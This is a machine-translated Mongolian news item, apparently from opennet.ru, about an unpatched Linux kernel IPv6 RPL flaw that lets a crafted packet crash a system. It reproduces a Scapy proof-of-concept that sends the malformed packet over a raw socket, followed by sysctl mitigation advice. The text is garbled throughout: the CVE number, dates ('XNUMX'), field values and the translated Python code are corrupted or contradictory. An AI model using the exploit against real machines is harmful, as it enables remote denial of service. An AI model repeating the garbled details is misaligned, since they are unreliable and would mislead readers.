Алсын цөмийн эвдрэлийг зөвшөөрдөг 0 өдрийн Linux IPv6 стекийн эмзэг байдал

Линукс цөмд (CVE-0-2023) залруулга хийгээгүй (2156 өдрийн) эмзэг байдлын талаарх мэдээлэл ил болсон бөгөөд энэ нь тусгайлан зохион бүтээсэн IPv6 пакетуудыг (үхлийн багц) илгээх замаар системийг зогсоох боломжийг олгодог. Асуудал нь RPL (Бага эрчим хүч, алдагдалтай сүлжээний чиглүүлэлтийн протокол) протоколын дэмжлэгийг идэвхжүүлсэн үед л гарч ирдэг бөгөөд энэ нь түгээлтийн хувьд анхдагчаар идэвхгүй бөгөөд пакетын алдагдал ихтэй утасгүй сүлжээнд ажилладаг суулгагдсан төхөөрөмжүүдэд ихэвчлэн ашиглагддаг.

Энэ эмзэг байдал нь RPL протоколын задлан шинжлэх код дахь гадаад өгөгдлийг буруу боловсруулснаас үүдэлтэй бөгөөд энэ нь баталгаажуулалтын бүтэлгүйтэл, цөм сандрах төлөвт шилждэг. IPv6 RPL пакетийн толгойг задлан шинжилж олж авсан өгөгдлийг k_buff (Socket Buffer) бүтцэд байрлуулахдаа CmprI талбарыг 15, Segleft талбарыг 1, CmprE-г 0 гэж тохируулсан бол хаягтай 48 байт векторыг задлах болно. 528 байт бөгөөд буферт хуваарилсан санах ой хангалтгүй байх нөхцөл байдал гарч ирнэ. Энэ тохиолдолд өгөгдлийг бүтцэд оруулахад ашигладаг skb_push функц нь өгөгдлийн хэмжээ болон буфер хоёрын хооронд үл нийцэх байдлыг шалгаж, буферийн хязгаараас цааш бичихээс сэргийлж сандрах төлөвийг үүсгэдэг.

Эксплойтийн жишээ: # Бид scapy.all import * импортын залгуураас пакет үүсгэхийн тулд Scapy-г ашиглана. # Өөрийн LAN интерфэйсээс IPv6 ашиглана DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Бид багцыг илгээхийн тулд залгууруудыг ашигладаг sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft нь пакет # Type = 3 нь үүнийг RPL пакет болгодог # Хаягууд нь 3 хаяг агуулдаг боловч CmprI нь 15 тул # эхний хоёр хаягийн октет бүр нь шахсан хаяг гэж үздэг # Segleft = 1 олшруулалтыг өдөөх # lastentry = 0xf0 нь CmprI-г 15, CmprE-г 0 болгож тохируулна p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(төрөл=3, хаягууд: :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Энэ муу пакетыг илгээх sockfd.sendto(bytes(p), (DST_ADDR, 0))

Цөмийн хөгжүүлэгчид 2022 оны 15-р сард эмзэг байдлын талаар мэдэгдсэн бөгөөд сүүлийн 2022 сарын хугацаанд тэд 2022 оны 2023-р сар, XNUMX оны XNUMX-р сар, XNUMX оны XNUMX-р сард засваруудыг гаргаж, гурван удаа асуудлыг засах гэж оролдсон нь анхаарал татаж байна. хангалттай биш бөгөөд эмзэг байдлыг дахин гаргах боломжгүй. Эцсийн эцэст, эмзэг байдлыг засах ажлыг зохицуулсан ZDI төсөл нь цөмд ажиллаж байгаа засварыг хүлээхгүйгээр эмзэг байдлын талаарх дэлгэрэнгүй мэдээллийг гаргахаар шийдсэн.

Тиймээс эмзэг байдал засаагүй хэвээр байна. Ялангуяа 6.4-rc2 цөмд орсон нөхөөс нь үр дүнгүй юм. Хэрэглэгчдэд RPL протоколыг систем дээрээ ашиглаагүй эсэхийг шалгахыг зөвлөж байна, үүнийг sysctl -a | командыг ашиглан хийж болно. grep -i rpl_seg_идэвхжүүлсэн

Эх сурвалж: opennet.ru

сэтгэгдэл нэмэх